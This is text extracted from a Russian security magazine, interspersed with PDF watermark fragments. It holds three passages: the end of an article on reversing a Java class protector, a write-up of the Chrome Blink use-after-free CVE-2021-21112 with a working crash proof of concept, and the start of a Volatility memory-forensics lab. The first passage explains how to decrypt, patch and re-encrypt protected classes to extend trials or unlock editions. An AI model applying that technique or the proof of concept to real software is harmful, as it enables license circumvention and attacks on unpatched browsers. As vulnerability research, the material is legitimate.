00007FFC46EB31FC | shr edx,18

00007FFC46EB31FF | add edx,ecx

00007FFC46EB3201 | movzx ecx,dl

00007FFC46EB3204 | movzx r11d,byte ptr ds:[r13+rcx]

00007FFC46EB320A | lea rcx,qword ptr ds:[7FFC46EB1A46]

00007FFC46EB3211 | mov edx,ecx

00007FFC46EB3213 | and edx,ebp

00007FFC46EB3215 | xor rcx,rbp

00007FFC46EB3218 | lea rcx,qword ptr ds:[rcx+rdx*2]

00007FFC46EB321C | jmp rcx

В регистре­ R12 — указатель­ на зашифрован­ ный­ буфер, в регистре­ RDI — смещение­ в нем, в регистре­ R13 — указатель­ на некую таблицу­ перекодиров­ ­ ки. Результа­ т этого­ фрагмента­ кода хранит­ ся­ в регистре­ R11. 7FFC46EB1A46 — слегка­ закодирован­ ный­ адрес следующей­ инструк­ ции­ . Нем ­ ного попрыгав­ по обфусцирован­ ному­ коду, находим следующий­ фрагмент­ :

00007FFC46EB32DF | mov ecx,edi

00007FFC46EB32E1 | shr ecx,10

00007FFC46EB32E4 | add ecx,r11d

00007FFC46EB32E7 | movzx ecx,cl

00007FFC46EB32EA | movzx ecx,byte ptr ds:[r13+rcx+100]

00007FFC46EB32F3 | mov edx,edi

00007FFC46EB32F5 | shr edx,8

00007FFC46EB32F8 | add edx,ecx

00007FFC46EB32FA | movzx ecx,dl

00007FFC46EB32FD | movzx edx,byte ptr ds:[r13+rcx+200]

00007FFC46EB3306 | lea rcx,qword ptr ds:[7FFC46EB1A22]

00007FFC46EB330D | mov ebx,ecx

00007FFC46EB330F | and ebx,ebp

00007FFC46EB3311 | xor rcx,rbp

00007FFC46EB3314 | lea rcx,qword ptr ds:[rcx+rbx*2]

00007FFC46EB3318 | jmp rcx

Тут на выходе результат­ уже в RDX. И наконец, финальный­ фрагмент­ , который представ­ ляе­ т собой конец цикла­ по всем байтам­ (длина­ в R9) и условный переход на начало:

00007FFC46EB3273 | movzx ecx,dl

00007FFC46EB3276 | add ecx,edi

00007FFC46EB3278 | movzx ecx,cl

00007FFC46EB327B | movzx ecx,byte ptr ds:[r13+rcx+300]

00007FFC46EB3284 | mov byte ptr ds:[r12+rax],cl

00007FFC46EB3288 | add edi,1

00007FFC46EB328B | add rax,1

00007FFC46EB328F | mov ecx,r8d

00007FFC46EB3292 | and ecx,ebp

00007FFC46EB3294 | lea rdx,qword ptr ds:[7FFC46EB1A92]

00007FFC46EB329B | mov ebx,edx

00007FFC46EB329D | and ebx,ebp

00007FFC46EB329F | xor rdx,rbp

00007FFC46EB32A2 | cmp rax,r9

00007FFC46EB32A5 | lea rcx,qword ptr ds:[r10+rcx*2]

00007FFC46EB32A9 | lea rdx,qword ptr ds:[rdx+rbx*2]

00007FFC46EB32AD | cmove rdx,rcx

00007FFC46EB32B1 | jmp rdx

Как видно­ , несмотря­ на всю наворочен­ ность­ защиты, алгоритм­ расшифров­ ки­ простой­ как две копейки­ . Он представ­ ляе­ т собой четыре табличных­ преобра­ ­ зования­ . В переводе­ на понятный­ язык программи­ рова­ ния­ он выгляди­ т при ­ мерн­ о так (array — раскодиру­ емый­ фрагмент­ , table — таблица­ ):

for (int i=0;i<array.Length;i++)

{

byte r11 = table[(byte)(array[i] + (i >> 0x18))];

byte ecx = table[(byte)(r11 + (i >> 0x10))+0x100];

byte edx = table[(byte)(ecx + (i >> 0x8)) + 0x200];

array[i] = table[(byte)(edx + i)+0x300];

}

Таблица­ перекодиров­ ки­ размером­ 0x400 байт, указатель­ на которую находится­ в регистре­ R13, прекрасн­ о дампится­ на диск из отладчика­ при помощи следующей­ консоль­ ной­ команды­ :

savedata table.bin, R13, 0x400

После­ этог­ о можн­ о писать простень­ кий­ пакетный­ раскодиров­ щик­ для любого количества­ классов­ .

Взаключение­ рассмот­ ­рим совсем­ уж экзотичес­ ­кий случай­ . Предположим­ ,

унас есть защищенное­ подобным­ протек­ ­тором приложе­ ­ние и по неким при ­

чинам не нужн­ о его полность­ ю отвязывать­ от ключа­ , а надо просто­ немного­ расширить­ его функции­ : продлить­ триал­ , повысить редакцию­ , добавить опций. А требуемые­ возможнос­ ти­ , как назло­ , находятся­ именно­ в защищен ном классе­ . В прошлый­ раз мы выкрутились­ из такой неприят­ ной­ ситуации­ , на лету поправляя­ расшифро­ ван­ ный­ байт код непосредс­ твен­ но­ в библиоте­ ке­ защиты. В нынешнем­ случае­ мы имеем­ гораздо­ больше­ пространс­ тва­ для маневра­ — алгоритм­ шифрования­ простой­ , симметрич­ ный­ и реверсиру­ ­ емый. Груб­ о говоря, обратный алгоритм­ шифрования­ выгляди­ т пример­ но­ так:

for (int i=0;i<array.Length;i++)

{

byte a=byte(indexOf(&table[0x300],array[i])-i);

byte b=byte(indexOf(&table[0x200],a)-(i >> 0x8));

byte c=byte(indexOf(&table[0x100],b)-(i >> 0x10));

array[i]=byte(indexOf(&table,c)-(i >> 0x18));

}

Это означает­ , что теперь нам не нужно­ извращать­ ся­ , констру­ ируя­ инлайн патч. Имея валидный­ ключ, мы можем расшифро­ вать­ нужный­ класс, поправить­ его, например­ при помощи dirtyJoe (как — я описал­ в статье «Гряз ­ ный Джо. Взламыва­ ем­ Java-приложе­ ния­ с помощью dirtyJOE»), затем снова­ закодировать­ файл и перепаковать­ его в JAR-архив.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК РАБОТАЕТ БАГ USE AFTER

FREE В ДВИЖКЕ BLINK

В январе­ 2021 года вышел очеред­ ной­ ре ­ лиз браузе­ ра­ Chrome. В нем испра ­ вили 16 уязвимос­ тей­ . Одну из них мы с тобой сегодня­ разберем­ , чтобы­ понять механизм возникно­ вения­ таких багов и спо ­ собы эксплу­ ата­ ции­ , с помощью которых злоумыш­ ленник­ может атаковать­ машину, оставшуюся­ без обновлений­ .

sploitem

Vulnerability researcher в Secware.ru @sploitem sploitem@gmail.com

Версия­ Chrome, о которой пойде­ т речь, — 87.0.4280.141. А интересу­ ющая­ нас запатченная­ уязвимость­ — CVE-2021-21112. Она касается­ компонен­ та­ потоков компрес­ сии­ в браузер­ ном­ движке­ Blink и работае­ т по принципу­ use after free. О баге сообщи­ л исследова­ тель­ YoungJoo Lee (@ashuu_lee) из компании­

RaonWhiteHat в ноябре­ 2020 года через сайт bugs.chromium.org, номер отче ­ та 1151298.

Blink — это браузер­ ­ный движок­ , на основе­ которого­ работае­ т Chrome. А потоки сжатия­ — это те же веб потоки (web streams), но для удобства­ веб разработ­ ­чиков передающиеся­ со сжатием­ . Чтобы­ не приходи­ ­лось тянуть за проектом­ зависимос­ ­ти типа zlib, создатели­ Chrome решили интегрировать­ форматы­ сжатия­ gzip и defate в движок­ Blink.

По сути, это удобная­ обертка­ , трансфор­ миру­ ющий­ поток с алгорит­ мом­ трансфор­ мации­ данных­ по умолчани­ ю (или gzip, или defate). Трансфор­ миру­ ­ ющий поток — это объект­ , содержащий­ два потока: читаемый­ (readable) и записываемый­ (writable). А между­ ними находится­ трансфор­ мер­ , который применя­ е­ т заданный­ алгоритм­ к проходя­ щим­ между­ ними данным­ .

В статье я буду ссылать­ ­ся на старые­ версии­ специфи­ ­кации потоков и исходног­ о кода. По понятным­ причинам­ исходный код с тех пор изменил­ ­ся. Да и специфи­ ­кация тоже.

СТЕНД

Для воспро­ изве­ дения­ уязвимос­ ти­ понадобит­ ся­ стенд, состоящий­ из вир ­ туальной­ машины и уязвимой­ версии­ Chrome. Готовую виртуаль­ ную­ машину можн­ о загрузить­ с сайта­ osboxes.org. Сайт предос­ тавля­ е­ т образы­ виртуаль­ ­ ных машин как для VirtualBox, так и для VMware.

Я буду использовать­ образ Xubuntu 20 для VirtualBox. Читатель волен выбирать любой дистри­ ­бутив. Запускаем­ машину, обновляемся­ :

sudo apt update && sudo apt upgrade -y

Теперь­ нам нужна­ уязвимая­ версия­ браузе­ ра­ .

Уязвиму­ ю верси­ ю Chrome, скомпилиро­ ­ван­ную с ASan (AddressSanitizer), мож ­

но скачать­ с googleapis.com. В отчете­ об уязвимос­ ­ти указано­ название­ нуж ­ ной сборки­ , а именн­ о билд asan-linux-release-812852. Распаковы­ ­ваем архив:

unzip asan-linux-release-812852.zip

Готовый­ билд сэкономи­ т кучу времени­ , так как сборка­ браузе­ ­ра требуе­ т вре ­ мени, особен­ ­но если машина не очень мощная­ .

AddressSanitizer — это детектор­ ошибок­ памяти. Он предос­ ­тавля­ет инстру­ ­ ментаци­ ю во время­ компиляции­ кода и библиоте­ ­ку времени­ выполнения­ (runtime). Подробнее­ о нем можно­ почитать на сайте­ Clang.

Теперь­ у нас готова виртуаль­ ­ная машина и скачан­ необходимый­ билд Chrome. Помимо них, нам понадобит­ ­ся Python 3 и LLVM. Обычно­ лог санитай ­ зера ASan выгляди­ т нечитаемо­ , посколь­ ­ку там указаны­ только­ адреса­ и сме ­ щения. Разобрать­ ­ся поможет утилита­ llvm-symbolizer, которая устанав­ ­лива ­ ется вместе­ с LLVM. Она читае­ т эти адреса­ и смещения­ и выводит соответс­ ­ твующие­ места­ в исходном коде. Лог ASan будет выглядеть­ намного­ понят ­ нее.

Ну а Python поможет нам готовить данные­ для сжатия­ .

Все установ­ лено­ , теперь в бой!

ТЕОРИЯ

Прежде­ чем разбирать­ ­ся в деталях уязвимос­ ­ти, нам нужно­ немного­ понимать предметну­ ю область.

Предыс­ ­тория всег­ о этого­ такова. В конце­ 2019 года команда­ разработ­ ­ чиков Chromium реализова­ ­ла новый JavaScript API, который называется­ Compression Streams. Детали реализации­ приведе­ ­ны в отчете­ .

Этот API основан­ на специфи­ кации­ потоков­ (специфи­ кация­ от 30 янва ­ ря 2020 года). Подробно­ с его концепци­ ей­ можешь ознакомить­ ся­ в ди ­ зайн документе­ , дополнитель­ ные­ пояснения­ смотри­ на GitHub.

Я привожу­ более старые­ версии­ , так как уязвимость­ касалась именно­ их реализации­ . В дальнейшем­ специфи­ кация­ потоков и их реализация­

в Chromium изменилась­ .

Теперь­ разберем­ ­ся в потоках преобра­ ­зова­ния, потоках сжатия­ , объектах­ promise и методе postMessage.

Потоки сжатия

Потоки­ сжатия­ основаны­ на концепции­ и реализации­ веб потоков. Отличие­ в том, что потоки компрес­ сии­ могут сжимать­ и распаковы­ вать­ данные­ .

На выбор — алгорит­ ­мы gzip и defate, широко применя­ ­емые в веб технологи­ ­ ях. Потоки компрес­ ­сии удовлетво­ ­ряют специфи­ ­кации transform stream.

Ниже­ приведе­ на­ схема­ алгорит­ ма­ .

Груб­ о говоря, если данные­ не кончились­ (считан­ чанк), то вызывается­ метод Transform, а тот вызовет метод компрес­ ­сии или декомпрес­ ­сии — в данном­ случае­ Infate. В этом методе данные­ обрабаты­ ­вают­ся в цикле­ . Затем они помещаются­ в очередь­ потока. Для этого­ вызывается­ метод Enqueue.

То есть обрабаты­ ­ваем куски­ данных­ и кладем­ их в очередь­ .

Promise

JavaScript часто­ описыва­ ­ют как язык прототип­ ­ного наследова­ ­ния. Каждый­ объек­ т имее­ т объект­ прототип­ — шаблон­ методов и свойств­ . Все объекты­ имеют­ общий прототип­ Object.prototype и свой отдельный­ .

Поэто­ му­ при изменении­ каких то свойств­ или методов прототи­ па­ новые объекты­ будут обладать­ изменен­ ными­ свойства­ ми­ или методами­ .

Далее­ нас интересу­ ­ют асинхрон­ ­ное программи­ ­рова­ние и «обещания­ » (promise). Раньше­ JavaScript исполнялся­ синхрон­ ­но, но это мешало веб стра ­ ницам быстр­ о загружать­ ­ся и плавно­ работать. Асинхрон­ ­ное программи­ ­рова ние позволя­ ­ет обойти­ эту проблему­ . При ожидании­ какой то операции­ (заг ­ рузки данных­ по сети, чтения­ с диска­ и тому подобных­ ) основной поток при ­ ложения­ не блокиру­ ­ется, и оно не подвиса­ ­ет.

Сначала­ в JavaScript внедрили­ асинхрон­ ные­ колбэки­ (вызовы функций­

по завершении­ операции­ ). Позднее­ придума­ ­ли новый стиль написания­ асин ­ хронног­ о кода — «обещания­ ». Promise — это объект­ , представ­ ­ляющий асин ­ хронну­ ю операцию­ , выполненну­ ю удачно­ или неудачно­ . На картинке­ это наг ­ лядно изображено­ .

Источник­ — javascript.ru

Промис­ — это как бы промежу­ точ­ ное­ состояние­ : «Я обещаю­ вернуть­ ся­ к вам

срезультатом­ как можно­ скорее­ ».

Уобъекта­ promise есть метод then. Он принима­ ­ет два параметра­ : фун ­

кции, которые нужн­ о вызвать­ в случае­ разрешения­ (resolve) или в случае­ отклонения­ (reject). В зависимос­ ­ти от результата­ будет вызвана­ соответс­ ­тву ­ ющая.

Особен­ ­ность JavaScript в том, что в этом языке­ все является­ объектом­ . По сути метод или функция­ — это тоже объект­ . И доступ­ к нему — это вызов объектов­ get и set объекта­ — прототи­ ­па объекта­ . Красиво­ ?

Особен­ ность­ объекта­ promise в том, что при его разрешении­ (resolve) необходим­ о вызвать­ then. Доступ­ к этому­ методу (get) можн­ о изменить­

на пользователь­ ­ский код, сменив­ общий для всех объектов­ прототип­ :

Object.defineProperty(Object.prototype, "then", {

get() {

console.log("then getter executed");

}

});

postMessage

Как мы можем узнать из MDN Web Docs, этот метод позволя­ ­ет обменивать­ ­ся данными­ между­ объекта­ ­ми типа Window, например­ между­ страницей­ и фрей ­ мом. Интерес­ ­ная особен­ ­ность заключа­ ­ется в том, как передаются­ данные­ .

postMessage(message, targetOrigin, transfer);

После­ вызова функции­

владение­

transfer передается­

адресату­ , а на

передающей­

стороне­

прекраща­

ется­

.

 

 

 

 

 

 

 

 

 

 

Если­ вкратце­ , суть уязвимос­

ти­ в том, что обработ­ ка­ большого­

массива­

данных­ происхо­

ди­ т в цикле­ и при добавлении­

обработан­

ных­ чанков­ в очередь­

есть возможность­

вызвать­

пользователь­

ский­

код на JS. Это обеспечено­

тем,

что объекту­

promise дано разрешение­

на чтение­ из потока. Пользователь­

ский­

код через postMessage может освободить­

данные­ , которые на тот момент

обрабаты­

вались­

в цикле­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для более детального­

понимания­

всех

концепций­

можно­ обратить­ ся­

к специфи­

кации­

. Мы же переходим­

к практике­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК РАБОТАЕТ БАГ USE AFTER FREE В ДВИЖКЕ

BLINK

ЗАПУСК POC

Первым­ делом нужн­ о установить­ LLVM, так как с ним поставля­ ­ется сим ­ болизатор­ . Без него стек вызовов будет выглядеть­ непонятно­ , посколь­ ­ку не будет названий­ методов и имен файлов­ .

Скачан­ ­ный билд распаковы­ ­ваем в виртуал­ ­ке и запускаем­ . Смотрим­ , чтобы­ версия­ совпадала­ со скриншотом­ .

Теперь­ создадим­ файл randomfile.py и запустим­ его:

python3 randomfile.py

Этим мы создадим­ данные­ , которые будет считывать­ поток сжатия­ (defate).

with open('/dev/urandom', 'rb') as f:

random = f.read(0x40000)

with open('./random', 'wb') as f:

f.write(random)

Далее­ создаем­ файл poc.html и записываем­ в него следующее­ :

<html>

<title>Secware.ru</title>

<script>

let ab;

async function main() {

await fetch("random").then(x => x.body.getReader().read().then(y =>

ab = y.value.buffer));

Object.defineProperty(Object.prototype, "then", {

get() {

var ab2 = new ArrayBuffer(0);

try {

postMessage("", "Secware", [ab]);

}catch (e) { console.log("free");

}

}

});

var input = new Uint8Array(ab);

console.log(ab.length);

const cs = new CompressionStream('deflate');

const writer = cs.writable.getWriter();

writer.write(input);

writer.close();

const output = [];

const reader = cs.readable.getReader();

console.log(reader);

var { value, done } = await reader.read();

}

main();

</script>

<body>

<h2>Welcome to Secware pwn page!</h2>

</body>

</html>

Теперь­ нужн­ о открыть новый термина­ л и запустить­ веб сервер­ из папки­ с файлами­ poc.html и random.

python3 -m http.server

Перед­ запуском­ Chromium следуе­ т установить­ опции ASan.

export ASAN_OPTIONS=symbolize=1

Далее­ запускаем­ уязвимый­ билд и указыва­ ем­ ему, куда подклю­ чить­ ся­ . Заодно­ укажем­ флаги­ запуска­ без песочницы­ и использования­ GPU.

asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://

127.0.0.1:8000/poc.html

Вкладка­ браузе­ ра­ должна­ упасть.

В консоли­ можн­ о увидеть­ лог санитайзера­ адресов­ ASan.

На рисунке­ ниже приведен­ стек вызовов до метода Transform на сайте­ исходног­ о кода Chromium. Но в ветке­ main (на момент написания­ статьи 2f0ac6), так как в старых­ коммитах­ не работают­ референсы­ и сложно­ отыс ­ кать граф вызовов нужных­ методов.

Схемати­ чес­ ки­ граф вызовов выгляди­ т так.

Метод­ Transform вызывае­ т Deflate (в случае­ сжатия­ ), где и происхо­ ди­ т use after free, на строке­ 117 файла­ defate_transformer.cc. По факту­ доступ­ к осво ­

божденно­ му­ массиву­ происхо­ ди­ т в коде zlib, но мы туда не полезем.

Также­ в логе видно­ , что освобож­ ­дение памяти происхо­ ­дит из метода postMessage.

АНАЛИЗ POC

Посмотрим­ код, который триггери­ т уязвимость­ . Сначала­ вызывается­ функция­ fetch и подгру­ жает­ ся­ наш файл random. Буфер с данными­ присваивает­ ся­ переменной­ ab.

await fetch("random").then(x => x.body.getReader().read().then(y=>ab=

y.value.buffer));

Затем­ переопре­ ­деля­ется аксессор свойства­ then. Здесь как раз прописан­

код, который освобож­ ­дает память через вызов postMessage. Массив­ ab будет освобож­ ­ден (параметр transfer).

Object.defineProperty(Object.prototype, "then", {

get() {

var ab2 = new ArrayBuffer(0);

try {

postMessage("", "Secware", [ab]);

}catch (e) { console.log("free");

}

}

});

В остальной­ части­ кода создает­ ­ся поток сжатия­ , ему передаются­ данные­

из нашего файла­ random и через читателя­ (reader) создает­ ­ся запрос­ на чте ­

ние (read_request).

var input = new Uint8Array(ab);

console.log(ab.length);

const cs = new CompressionStream('deflate');

const writer = cs.writable.getWriter();

writer.write(input);

writer.close();

const output = [];

const reader = cs.readable.getReader();

console.log(reader);

var { value, done } = await reader.read();

Как раз этот запрос­ на чтение­ и спровоци­ ­рует освобож­ ­дение памяти. Как? Если вкратце­ , то вызов контрол­ ­лера enqueue трансфор­ ­миру­юще­го потока приводи­ т к вызову пользователь­ ­ско­го кода. Это как раз код, который акти ­ вируе­ т postMessage и освобож­ ­дает массив­ ab.

Упрощен­ ­но схема­ выгляди­ т вот так.

АНАЛИЗ ИСХОДНОГО КОДА

Схемати­ ­чес­ки цепочка­ вызовов от Deflate до пользователь­ ско­ г­ о кода на JS будет такой, как на схеме­ ниже.

Теперь­ , зная общую картину­ , пройдем­ ся­ по исходному­ коду. Вот как выглядит­ метод сжатия­ Defate. В цикле­ do-while данные­ читаются­ , сжимают­ ся­ (defate), а потом помещаются­ в очередь­ потока (controller->enqueue()).

Функция­ cpp controller->enqueue() приведе­ т нас в метод­ cpp TransformStreamDefaultController::Enqueue. Для краткости­ я пропус­ тил­ пару посредни­ ков­ между­ ними.

Здесь вызывается­ метод с таким же названи­ ем­ , но из класса­ контрол­ лера­ readable-потока (ReadableStreamDefaultController).

Здесь происхо­ ди­ т провер­ ка­ наличия запросов­ на чтение­ . А мы как раз оста ­ вили один такой запрос­ при помощи такого кода:

javascript var { value, done } = await reader.read();

Араз он есть, будет вызван­ метод­ cpp ReadableStream::

FulFillReadRequest.

Тот в свою очередь­ вызовет Resolve для promise, то есть запрос­ на чтение­ .

По специфи­ ­кации ECMAScript разрешение­ promise обязатель­ ­но должн­ о зай ­ ти в свойств­ о then. А посколь­ ­ку мы поменяли­ геттер­ then через Object. prototype, то при доступе­ к then вызовется­ наш код. Он освободи­ т массив­ , который в данный­ момент обрабаты­ ­вает цикл метода Deflate.

А значит­ , код попытается­ получить доступ­ к освобож­ ­денной памяти.

Так и работае­ т уязвимость­ . Остальное­ сводит­ ся­ к эксплу­ ата­ ции­ уязвимос­ тей­ типа use after free. Но это уже отдельная­ тема, требующая­ отдельной­ объ ­ емной статьи.

Exploiting a textbook use-after-free in Chrome

Cleanly Escaping the Chrome Sandbox

My Take on Chrome Sandbox Escape Exploit Chain

ПАТЧ

Теперь­ посмотрим­ , как же пофиксили­ данную­ уязвимость­ разработ­ ­чики Chromium. В описании­ патча­ говорит­ ­ся следующее­ :

«

Correctly handle detach during (de)compression

 

Sometimes CompressionStream and DecompressionStream enqueue

 

 

multiple output chunks for a single input chunk. When this happens,

 

 

JavaScript code can detach the input ArrayBuffer while the stream

 

 

is processing it. This will cause an error when zlib tries to read the buffer

»

 

again afterwards. To prevent this, buffer output chunks until the entire

 

input chunk has been processed, and then enqueue them all at once.

По сути, для компрес­ сии­ и декомпрес­ сии­ теперь использует­ ся­ времен­ ный­ массив­ buffers.

Тольк­ о после­ этог­ о данные­ передаются­ в очередь­ потока через вызов enqueue. Уже он может вызвать­ пользователь­ ­ский код на JS.

Следова­ тель­ но­ , во время­ работы цикла­ компрес­ сии­ /декомпрес­ сии­ уже невозможн­ о вызвать­ пользователь­ ский­ код. Метод enqueue будет вызван­ после­ . То же будет и с кодом атакующе­ го­ , но данные­ уже обработа­ ны­ и дос ­ тупа к освобож­ денной­ памяти не будет.

ВЫВОДЫ

В заключение­ хочу сказать­ , что уязвимость­ явно была вдохновле­ на­ предыду­ ­ щими подобными­ багами. Отчеты­ Сергея­ Глазуно­ ва­ номер 2001 от 27 янва ­ ря 2020 года и номер 2005 от 30 января­ 2020 года касались этого­ же ком ­ понента­ . Уязвимос­ ти­ триггерились­ похожим методом и были связаны­ с раз ­ решением­ promise. В текущей версии­ специфи­ кации­ потоков и кода Chromium такая возможность­ отсутству­ ет­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗВЛЕКАЕМ АРТЕФАКТЫ ИЗ ДАМПА ПАМЯТИ СЕРВЕРА

Когда­ злоумыш­ ленни­ ки­ атакуют­ сеть пред ­ приятия­ , у специалис­ тов­ по информацион­ ­ ной безопасности­ зачастую­ остается­ не так уж и много­ материала­ для исследова­ ний­ — например­ , только­ образ памяти скомпро­ ­ метирован­ ного­ сервера­ . Подобную­ ситу ­ ацию описыва­ ет­ задание BSidesJeddahPart2 с ресурса­ CyberDefenders, которое мы сегодня­ разберем­ .

rayhunt454 grigadan454@gmail.com

Наша­ задача — выявить причины­ взлома­ сервиса­ , разверну­ ­того на Oracle WebLogic Server, и научиться­ извлекать­ основные артефак­ ­ты из образа­ опе ­ ративной­ памяти Windows.

По сценари­ ю устройство­ мониторин­ ­га сетевой безопасности­ зафик ­ сировало­ подозритель­ ­ный трафик­ , исходящий­ от одного­ из веб серверов­ организа­ ­ции. Мы должны­ проана­ ­лизи­ровать образ памяти сервера­ и восста­ ­ новить картину­ взлома­ информацион­ ­ного ресурса­ .

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ

1.Volatility Framework 2.6.1 — инстру­ ­мент, реализован­ ­ный на Python вер ­

сии 2 и предназна­ ­чен­ный для извлечения­ артефак­ ­тов из образов­ энер ­ гозависимой­ памяти.

2.Volatility 3 — обновленный­ инстру­ ­мент для извлечения­ артефак­ ­тов, раз ­ работанный­ на Python 3.

Загрузим­ файл архива­ с артефак­ ­тами, извлечем­ из него файл memory.mem

(SHA256:5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f99 60f39) и приступим­ к исследова­ нию­ .

ИССЛЕДОВАНИЕ ОБРАЗА ПАМЯТИ

При работе с этим образом­ мы будем пользовать­ ся­ фреймвор­ ком­ Volatility версий­ 2 и 3. Их основное различие­ описано­ в докумен­ тации­ . Удобство­ работы с третьей­ версией­ заключа­ ется­ в том, что она не используе­ т профили­ операци­ онной­ системы­ , а умее­ т определять­ их на лету, с помощью таблиц­ символов­ Windows. Но большинс­ тво­ плагинов­ разработа­ но­ для второй­ вер ­ сии.

Получим­ профиль­ операци­ онной­ системы­ для работы с утилитой­ Volatility

2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo

Профиль­ операци­ ­онной системы­ — Win2016x64_14393.

Прежде­ чем мы приступим­ к анализу­ артефак­ ­тов, необходимо­ понять, с какой системой­ мы работаем­ . Для этого­ получим версию­ операци­ ­онной системы­ , имя компьюте­ ­ра, а также­ сетевой адрес. Пробежим­ ­ся по ключам­ реестра­ с использовани­ ­ем плагина­ printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\C

omputerName"

Имя компьюте­ ­ра Имя компьюте­ ­ра — WIN-8QOTRH7EMHC.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S

ervices\Tcpip\Parameters\Interfaces"

Список­ интерфейсов­

Мы получили­ список­ идентифика­ торов­ сетевых интерфейсов­ . Проверим­ каж ­ дый из них.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S

ervices\Tcpip\Parameters\Interfaces\{

792f6020-c342-4520-922a-542fbfccc4b6}"

Сетевой­ адрес системы­

Сетевой­ адрес компьюте­ ра­ — 192.168.144.131, IP-адрес выдается­ DHCP-

сервером­ 192.168.144.254.

Теперь­ получим информаци­ ю о версии­ операци­ ­онной системы­ .

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion"

Версия­ операци­ онной­ системы­

Версия­ операци­ ­онной системы­ — Windows Server 2016 Standard Evaluation.

Получим­ время­ , которое было зафиксирова­ ­но в момент снятия­ образа­ оператив­ ­ной памяти. Для этого­ восполь­ ­зуем­ся плагином­ windows.info ути ­

литы Volatility 3.

